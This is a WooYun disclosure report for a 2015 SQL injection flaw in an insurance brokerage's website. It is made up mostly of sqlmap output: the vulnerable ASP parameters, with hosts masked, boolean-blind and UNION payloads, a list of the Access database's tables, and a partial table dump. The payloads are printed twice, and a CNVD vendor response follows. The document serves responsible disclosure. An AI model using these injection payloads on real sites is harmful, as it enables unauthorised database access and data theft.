当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144145

漏洞标题:长城保险经纪公司主站存在SQL注射漏洞

相关厂商:长城保险经纪公司

漏洞作者: l0wK3y

提交时间:2015-10-16 09:28

修复时间:2015-12-04 16:36

公开时间:2015-12-04 16:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-16: 细节已通知厂商并且等待厂商处理中
2015-10-20: 厂商已经确认,细节仅向厂商公开
2015-10-30: 细节向核心白帽子及相关领域专家公开
2015-11-09: 细节向普通白帽子公开
2015-11-19: 细节向实习白帽子公开
2015-12-04: 细节向公众公开

简要描述:

如题.....

详细说明:

注入点
http://**.**.**.**/CHN/Home/HomeList_Search.asp?SearchString=1
http://**.**.**.**/CHN/Home/HomeShow.asp?ContentId=1

QQ截图20150929221436.png


Parameter: SearchString (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: SearchString=1%' AND 7347=7347 AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: SearchString=-4685%' UNION ALL SELECT CHR(113)&CHR(112)&CHR(113)&CHR(112)&CHR(113)&CHR(80)&CHR(86)&CHR(72)&CHR(87)&CHR(85)&CHR(115)&CHR(65)&CHR(72)&CHR(71)&CHR(117)&CHR(113)&CHR(106)&CHR(118)&CHR(122)&CHR(113),NULL,NULL FROM MSysAccessObjects%16
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[7 tables]
+---------+
| area |
| branch |
| company |
| exam |
| job |
| member |
| news |
+---------+


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: SearchString (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: SearchString=1%' AND 7347=7347 AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: SearchString=-4685%' UNION ALL SELECT CHR(113)&CHR(112)&CHR(113)&CHR(112)&CHR(113)&CHR(80)&CHR(86)&CHR(72)&CHR(87)&CHR(85)&CHR(115)&CHR(65)&CHR(72)&CHR(71)&CHR(117)&CHR(113)&CHR(106)&CHR(118)&CHR(122)&CHR(113),NULL,NULL FROM MSysAccessObjects%16
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft Access
banner: None
current user: None
current database: None
hostname: None
current user is DBA: None
Database: Microsoft_Access_masterdb
Table: branch
[8 entries]
+----+--------+-----+------+-------+---------+-----------------------------------------------------------------------+----------+
| id | areaid | url | data | email | manager | address | priority |
+----+--------+-----+------+-------+---------+-----------------------------------------------------------------------+----------+
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | S\x17N\\?ac^\x02?W\\?ceS:?b\x10?Y\x16Y'?u29S\\?f7V\\?fd[\\?beQ\\?99[W | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | S\x17N\\?ac^\x02?W\\?ceS:?b\x10?Y\x16Y'?u29S\\?f7V\\?fd[\\?beQ\\?99[W | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | S\x17N\\?ac^\x02?W\\?ceS:?b\x10?Y\x16Y'?u29S\\?f7V\\?fd[\\?beQ\\?99[W | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | SN\?ac^?W\?ceS:?b?YY'?u29S\?f7V\?fd[\?beQ\?99[W | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | SN\?ac^?W\?ceS:?b?YY'?u29S\?f7V\?fd[\?beQ\?99[W | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | SN\?ac^?W\?ceS:?b?YY'?u29S\?f7V\?fd[\?beQ\?99[W | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | SN\?ac^?W\?ceS:?b?YY'?u29S\?f7V\?fd[\?beQ\?99[W | <blank> |
| <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | SN\?ac^?W\?ceS:?b?YY'?u29S\?f7V\?fd[\?beQ\?99[W |
+----+--------+-----+------+-------+---------+-----------------------------------------------------------------------+----------+

漏洞证明:

注入点
http://**.**.**.**/CHN/Home/HomeList_Search.asp?SearchString=1
http://**.**.**.**/CHN/Home/HomeShow.asp?ContentId=1

QQ截图20150929221436.png


Parameter: SearchString (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: SearchString=1%' AND 7347=7347 AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: SearchString=-4685%' UNION ALL SELECT CHR(113)&CHR(112)&CHR(113)&CHR(112)&CHR(113)&CHR(80)&CHR(86)&CHR(72)&CHR(87)&CHR(85)&CHR(115)&CHR(65)&CHR(72)&CHR(71)&CHR(117)&CHR(113)&CHR(106)&CHR(118)&CHR(122)&CHR(113),NULL,NULL FROM MSysAccessObjects%16
---
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[7 tables]
+---------+
| area |
| branch |
| company |
| exam |
| job |
| member |
| news |
+---------+

修复方案:

过滤关键字......

版权声明:转载请注明来源 l0wK3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-20 16:34

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无